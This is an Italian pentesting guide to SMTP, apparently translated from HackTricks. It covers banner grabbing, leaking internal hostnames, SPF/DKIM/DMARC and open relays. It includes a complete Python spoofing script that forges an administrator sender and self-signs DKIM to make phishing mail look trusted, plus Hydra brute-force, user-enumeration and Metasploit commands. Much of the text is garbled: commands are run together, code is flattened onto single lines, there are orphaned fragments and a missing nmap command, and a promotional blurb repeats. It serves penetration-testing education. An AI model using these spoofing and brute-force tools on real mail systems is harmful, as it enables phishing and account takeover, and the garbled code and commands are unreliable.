Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione. Esegui un test di penetrazione completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla segnalazione. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
Il Simple Mail Transfer Protocol (SMTP) è un protocollo utilizzato all'interno della suite TCP/IP per l'invio e la ricezione di e-mail. A causa delle sue limitazioni nel mettere in coda i messaggi al destinatario, SMTP è spesso utilizzato insieme a POP3 o IMAP. Questi protocolli aggiuntivi consentono agli utenti di memorizzare i messaggi su una casella di posta del server e di scaricarli periodicamente.
In pratica, è comune che i programmi di posta elettronica utilizzino SMTP per l'invio di e-mail, mentre utilizzano POP3 o IMAP per riceverle. Nei sistemi basati su Unix, sendmail spicca come il server SMTP più frequentemente utilizzato per scopi di posta elettronica. Il pacchetto commerciale noto come Sendmail include un server POP3. Inoltre, Microsoft Exchange fornisce un server SMTP e offre l'opzione di includere il supporto POP3.
Porta predefinita: 25,465(ssl),587(ssl)
PORT STATE SERVICE REASON VERSION
25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959
Intestazioni EMAIL
Se hai l'opportunità di far inviare all'utente un'email (tramite il modulo di contatto della pagina web, ad esempio), fallo perché potresti apprendere la topologia interna della vittima osservando le intestazioni dell'email.
Puoi anche ottenere un'email da un server SMTP cercando di inviare a quel server un'email a un indirizzo inesistente (poiché il server invierà all'attaccante un'email NDN). Ma assicurati di inviare l'email da un indirizzo consentito (controlla la politica SPF) e che tu possa ricevere messaggi NDN.
Dovresti anche provare a inviare contenuti diversi perché potresti trovare informazioni più interessanti nelle intestazioni come: X-Virus-Scanned: by av.domain.com
Dovresti inviare il file di test EICAR.
Rilevare l'AV potrebbe consentirti di sfruttare vulnerabilità conosciute.
Azioni di base
Banner Grabbing/Connessione di base
SMTP:
nc-vn<IP>25
SMTPS:
openssls_client-crlf-connectsmtp.mailgun.org:465#SSL/TLS without starttls commandopenssls_client-starttlssmtp-crlf-connectsmtp.mailgun.org:587
Oppure automatizza questo con il plugin nmapsmtp-ntlm-info.nse
Nome del server interno - Divulgazione di informazioni
Alcuni server SMTP completano automaticamente l'indirizzo del mittente quando il comando "MAIL FROM" viene emesso senza un indirizzo completo, rivelando il suo nome interno:
220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200
EHLO all
250-somedomain.com Hello [x.x.x.x]
250-TURN
250-SIZE 52428800
250-ETRN
250-PIPELINING
250-DSN
250-ENHANCEDSTATUSCODES
250-8bitmime
250-BINARYMIME
250-CHUNKING
250-VRFY
250 OK
MAIL FROM: me
250 2.1.0 me@PRODSERV01.somedomain.com....Sender OK
Sniffing
Verifica se riesci a intercettare qualche password dai pacchetti verso la porta 25
Configurazione immediatamente disponibile per valutazione delle vulnerabilità e test di penetrazione. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per restituire loro del tempo per approfondire, aprire shell e divertirsi.
Rapporti di notifica dello stato di consegna: Se invii una email a un'organizzazione con un indirizzo non valido, l'organizzazione ti notificherà che l'indirizzo è stato invalidato inviando una mail di ritorno a te. Gli intestazioni dell'email restituita conterranno possibili informazioni sensibili (come l'indirizzo IP dei servizi di posta che hanno interagito con i rapporti o informazioni sull'antivirus).
print("[***]successfully sent email to %s:" % (msg['To']))
</details>
## Smuggling SMTP
La vulnerabilità di Smuggling SMTP ha permesso di aggirare tutte le protezioni SMTP (controlla la sezione successiva per ulteriori informazioni sulle protezioni). Per ulteriori informazioni su Smuggling SMTP controlla:
<div data-gb-custom-block data-tag="content-ref" data-url='smtp-smuggling.md'>
[smtp-smuggling.md](smtp-smuggling.md)
</div>
## Contromisure Spoofing Email
Le organizzazioni sono impedite dall'invio di email non autorizzate per conto loro utilizzando **SPF**, **DKIM** e **DMARC** a causa della facilità di falsificare i messaggi SMTP.
Una **guida completa a queste contromisure** è disponibile su [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/).
### SPF
<div data-gb-custom-block data-tag="hint" data-style='danger'>
SPF [è stato "deprecato" nel 2014](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). Questo significa che invece di creare un **record TXT** in `_spf.domain.com` lo si crea in `domain.com` utilizzando la **stessa sintassi**.\
Inoltre, per riutilizzare i record SPF precedenti è comune trovare qualcosa del genere `"v=spf1 include:_spf.google.com ~all"`
</div>
**Sender Policy Framework** (SPF) è un meccanismo che consente agli Agenti di Trasferimento di Posta (MTA) di verificare se un host che invia una email è autorizzato interrogando un elenco di server di posta autorizzati definiti dalle organizzazioni. Questo elenco, che specifica gli indirizzi IP/range, i domini e altre entità **autorizzate a inviare email per conto di un nome di dominio**, include vari "**Meccanismi**" nel record SPF.
#### Meccanismi
Da [Wikipedia](https://en.wikipedia.org/wiki/Sender\_Policy\_Framework):
| Meccanismo | Descrizione |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Corrisponde sempre; utilizzato per un risultato predefinito come `-all` per tutti gli IP non corrispondenti ai meccanismi precedenti. |
| A | Se il nome di dominio ha un record di indirizzo (A o AAAA) che può essere risolto nell'indirizzo del mittente, corrisponderà. |
| IP4 | Se il mittente si trova in un determinato intervallo di indirizzi IPv4, corrisponde. |
| IP6 | Se il mittente si trova in un determinato intervallo di indirizzi IPv6, corrisponde. |
| MX | Se il nome di dominio ha un record MX che risolve all'indirizzo del mittente, corrisponderà (ovvero la posta proviene da uno dei server di posta in arrivo del dominio). |
| PTR | Se il nome di dominio (record PTR) per l'indirizzo del client è nel dominio dato e quel nome di dominio risolve all'indirizzo del client (DNS inverso confermato in avanti), corrisponde. Questo meccanismo è scoraggiato e dovrebbe essere evitato, se possibile. |
| EXISTS | Se il nome di dominio dato risolve a un qualsiasi indirizzo, corrisponde (indipendentemente dall'indirizzo a cui risolve). Questo è raramente usato. Insieme al linguaggio macro SPF offre corrispondenze più complesse come le query DNSBL. |
| INCLUDE | Fa riferimento alla politica di un altro dominio. Se la politica di quel dominio passa, passa anche questo meccanismo. Tuttavia, se la politica inclusa fallisce, il processo continua. Per delegare completamente alla politica di un altro dominio, deve essere utilizzata l'estensione di reindirizzamento. |
| REDIRECT | <p>Un reindirizzamento è un puntatore a un altro nome di dominio che ospita una politica SPF, consente a più domini di condividere la stessa politica SPF. È utile quando si lavora con un gran numero di domini che condividono la stessa infrastruttura email.</p><p>La politica SPF del dominio indicato nel Meccanismo di reindirizzamento verrà utilizzata.</p> |
È anche possibile identificare **Qualificatori** che indicano **cosa fare se un meccanismo corrisponde**. Per impostazione predefinita, viene utilizzato il **qualificatore "+"** (quindi se un qualsiasi meccanismo corrisponde, significa che è consentito).\
Di solito noterai **alla fine di ciascuna politica SPF** qualcosa come: **\~all** o **-all**. Questo viene utilizzato per indicare che **se il mittente non corrisponde a nessuna politica SPF, dovresti contrassegnare l'email come non attendibile (\~) o rifiutare (-) l'email.**
#### Qualificatori
Ogni meccanismo all'interno della politica può essere preceduto da uno dei quattro qualificatori per definire il risultato previsto:
* **`+`**: Corrisponde a un risultato PASS. Per impostazione predefinita, i meccanismi assumono questo qualificatore, rendendo `+mx` equivalente a `mx`.
* **`?`**: Rappresenta un risultato NEUTRO, trattato in modo simile a NONE (nessuna politica specifica).
* **`~`**: Indica SOFTFAIL, fungendo da punto intermedio tra NEUTRO e FAIL. Le email che soddisfano questo risultato vengono tipicamente accettate ma contrassegnate di conseguenza.
* **`-`**: Indica FAIL, suggerendo che l'email dovrebbe essere rifiutata direttamente.
Nell'esempio seguente è illustrata la **politica SPF di google.com**. Nota l'inclusione delle politiche SPF da diversi domini all'interno della prima politica SPF:
```shell-session
dig txt google.com | grep spf
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
dig txt _spf.google.com | grep spf
; <<>> DiG 9.11.3-1ubuntu1.7-Ubuntu <<>> txt _spf.google.com
;_spf.google.com. IN TXT
_spf.google.com. 235 IN TXT "v=spf1 include:_netblocks.google.com include:_netblocks2.google.com include:_netblocks3.google.com ~all"
dig txt _netblocks.google.com | grep spf
_netblocks.google.com. 1606 IN TXT "v=spf1 ip4:35.190.247.0/24 ip4:64.233.160.0/19 ip4:66.102.0.0/20 ip4:66.249.80.0/20 ip4:72.14.192.0/18 ip4:74.125.0.0/16 ip4:108.177.8.0/21 ip4:173.194.0.0/16 ip4:209.85.128.0/17 ip4:216.58.192.0/19 ip4:216.239.32.0/19 ~all"
dig txt _netblocks2.google.com | grep spf
_netblocks2.google.com. 1908 IN TXT "v=spf1 ip6:2001:4860:4000::/36 ip6:2404:6800:4000::/36 ip6:2607:f8b0:4000::/36 ip6:2800:3f0:4000::/36 ip6:2a00:1450:4000::/36 ip6:2c0f:fb50:4000::/36 ~all"
dig txt _netblocks3.google.com | grep spf
_netblocks3.google.com. 1903 IN TXT "v=spf1 ip4:172.217.0.0/19 ip4:172.217.32.0/20 ip4:172.217.128.0/19 ip4:172.217.160.0/20 ip4:172.217.192.0/19 ip4:172.253.56.0/21 ip4:172.253.112.0/20 ip4:108.177.96.0/19 ip4:35.191.0.0/16 ip4:130.211.0.0/22 ~all"
Tradizionalmente era possibile falsificare qualsiasi nome di dominio che non avesse un record SPF corretto/o. Oggi, se l'email proviene da un dominio senza un record SPF valido probabilmente verrà rifiutata/marcata come non attendibile automaticamente.
DKIM viene utilizzato per firmare le email in uscita, consentendo la loro validazione da parte di agenti di trasferimento di posta (MTA) esterni attraverso il recupero della chiave pubblica del dominio da DNS. Questa chiave pubblica si trova in un record TXT del dominio. Per accedere a questa chiave, è necessario conoscere sia il selettore che il nome di dominio.
Ad esempio, per richiedere la chiave, sono essenziali il nome di dominio e il selettore. Questi possono essere trovati nell'intestazione dell'email DKIM-Signature, ad esempio, d=gmail.com;s=20120113.
Un comando per recuperare queste informazioni potrebbe apparire così:
dig20120113._domainkey.gmail.comTXT|grepp=# This command would return something like:20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3
DMARC migliora la sicurezza delle email basandosi sui protocolli SPF e DKIM. Esso definisce le politiche che guidano i server di posta nella gestione delle email provenienti da un dominio specifico, inclusi come gestire i fallimenti dell'autenticazione e dove inviare i report sulle azioni di elaborazione delle email.
Per ottenere il record DMARC, è necessario interrogare il sottodominio _dmarc
Daqui.
È necessario avere record SPF separati per ciascun sottodominio da cui si desidera inviare posta.
Quanto segue è stato originariamente pubblicato su openspf.org, che un tempo era una grande risorsa per questo tipo di informazioni.
La Domanda del Demone: Cosa succede con i sottodomini?
Se ricevo posta da pielovers.demon.co.uk e non ci sono dati SPF per pielovers, dovrei tornare indietro di un livello e testare SPF per demon.co.uk? No. Ogni sottodominio presso Demon è un cliente diverso, e ogni cliente potrebbe avere la propria politica. Non avrebbe senso che la politica di Demon si applichi per impostazione predefinita a tutti i suoi clienti; se Demon vuole farlo, può configurare record SPF per ciascun sottodominio.
Quindi il consiglio agli editori SPF è il seguente: dovresti aggiungere un record SPF per ciascun sottodominio o nome host che ha un record A o MX.
I siti con record A o MX wildcard dovrebbero anche avere un record SPF wildcard, della forma: * IN TXT "v=spf1 -all"
Ha senso - un sottodominio potrebbe benissimo trovarsi in una posizione geografica diversa e avere una definizione SPF molto diversa.
Relay Aperto
Quando vengono inviate email, è cruciale assicurarsi che non vengano contrassegnate come spam. Questo viene spesso realizzato attraverso l'uso di un server di relay affidabile dal destinatario. Tuttavia, una sfida comune è che gli amministratori potrebbero non essere pienamente consapevoli di quali intervalli di IP siano sicuri da consentire. Questa mancanza di comprensione può portare a errori nella configurazione del server SMTP, un rischio spesso identificato nelle valutazioni della sicurezza.
Un workaround che alcuni amministratori utilizzano per evitare problemi di consegna delle email, specialmente per le comunicazioni con potenziali o attuali clienti, è consentire connessioni da qualsiasi indirizzo IP. Ciò viene fatto configurando il parametro mynetworks del server SMTP per accettare tutti gli indirizzi IP, come mostrato di seguito:
mynetworks=0.0.0.0/0
Per verificare se un server di posta è un open relay (il che significa che potrebbe inoltrare email da qualsiasi origine esterna), viene comunemente utilizzato lo strumento nmap. Esso include uno script specifico progettato per testare ciò. Il comando per condurre una scansione dettagliata su un server (ad esempio, con IP 10.10.10.10) sulla porta 25 usando nmap è:
# This will send a test email from test@victim.com to destination@gmail.compython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com# But you can also modify more options of the emailpython3magicspoofmail.py-dvictim.com-t-edestination@gmail.com--subjectTEST--senderadministrator@victim.com
Se riscontri un errore nell'utilizzo della libreria dkim python nel parsing della chiave, sentiti libero di utilizzare la seguente.
NOTA: Questo è solo un fix temporaneo per effettuare controlli rapidi nei casi in cui per qualche motivo la chiave privata di openssl non può essere analizzata da dkim.
# Questo invierà un messaggio non firmatomail("tua_email@gmail.com", "Oggetto di prova!", "Ciao! Questo è un test", "Da: amministratore@vittima.com");# Code from https://github.com/magichk/magicspoofing/blob/main/magicspoofmail.pyimport osimport dkim #pip3 install dkimpyimport smtplibfrom email.mime.multipart import MIMEMultipartfrom email.mime.text import MIMETextfrom email.mime.base import MIMEBase# Set paramsdestination="destination@gmail.com"sender="administrator@victim.com"subject="Test"message_html="""<html><body><h3>This is a test, not a scam</h3><br /></body></html>"""sender_domain=sender.split("@")[1]# Prepare postfixos.system("sudo sed -ri 's/(myhostname) = (.*)/\\1 = "+sender_domain+"/g' /etc/postfix/main.cf")os.system("systemctl restart postfix")# Generate DKIM keysdkim_private_key_path="dkimprivatekey.pem"os.system(f"openssl genrsa -out {dkim_private_key_path} 1024 2> /dev/null")with open(dkim_private_key_path) as fh:dkim_private_key = fh.read()# Generate emailmsg = MIMEMultipart("alternative")msg.attach(MIMEText(message_html, "html"))msg["To"] = destinationmsg["From"] = sendermsg["Subject"] = subjectheaders = [b"To", b"From", b"Subject"]msg_data = msg.as_bytes()# Sign email with dkim## The receiver won't be able to check it, but the email will appear as signed (and therefore, more trusted)dkim_selector="s1"sig = dkim.sign(message=msg_data,selector=str(dkim_selector).encode(),domain=sender_domain.encode(),privkey=dkim_private_key.encode(),include_headers=headers)msg["DKIM-Signature"] = sig[len("DKIM-Signature: ") :].decode()msg_data = msg.as_bytes()# Use local postfix relay to send emailsmtp="127.0.0.1"s = smtplib.SMTP(smtp)s.sendmail(sender, [destination], msg_data)
Di solito, se installato, in /etc/postfix/master.cf contiene script da eseguire quando ad esempio una nuova email viene ricevuta da un utente. Ad esempio, la riga flags=Rq user=mark argv=/etc/postfix/filtering-f ${sender} -- ${recipient} significa che /etc/postfix/filtering verrà eseguito se una nuova email viene ricevuta dall'utente mark.
Protocol_Name: SMTP #Protocol Abbreviation if there is one.
Port_Number: 25,465,587 #Comma separated if there is more than one.
Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for SMTP
Note: |
SMTP (Simple Mail Transfer Protocol) is a TCP/IP protocol used in sending and receiving e-mail. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
https://book.hacktricks.xyz/pentesting/pentesting-smtp
Entry_2:
Name: Banner Grab
Description: Grab SMTP Banner
Command: nc -vn {IP} 25
Entry_3:
Name: SMTP Vuln Scan
Description: SMTP Vuln Scan With Nmap
Command: nmap --script=smtp-commands,smtp-enum-users,smtp-vuln-cve2010-4344,smtp-vuln-cve2011-1720,smtp-vuln-cve2011-1764 -p 25 {IP}
Entry_4:
Name: SMTP User Enum
Description: Enumerate uses with smtp-user-enum
Command: smtp-user-enum -M VRFY -U {Big_Userlist} -t {IP}
Entry_5:
Name: SMTPS Connect
Description: Attempt to connect to SMTPS two different ways
Command: openssl s_client -crlf -connect {IP}:465 &&&& openssl s_client -starttls smtp -crlf -connect {IP}:587
Entry_6:
Name: Find MX Servers
Description: Find MX servers of an organization
Command: dig +short mx {Domain_Name}
Entry_7:
Name: Hydra Brute Force
Description: Need Nothing
Command: hydra -P {Big_Passwordlist} {IP} smtp -V
Entry_8:
Name: consolesless mfs enumeration
Description: SMTP enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_version; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_ntlm_domain; set RHOSTS {IP}; set RPORT 25; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_relay; set RHOSTS {IP}; set RPORT 25; run; exit'
Configurazione immediatamente disponibile per valutazione delle vulnerabilità e penetration testing. Esegui un pentest completo da qualsiasi luogo con oltre 20 strumenti e funzionalità che vanno dalla ricognizione alla generazione di report. Non sostituiamo i pentester - sviluppiamo strumenti personalizzati, moduli di rilevamento ed exploit per permettere loro di approfondire, ottenere shell e divertirsi.
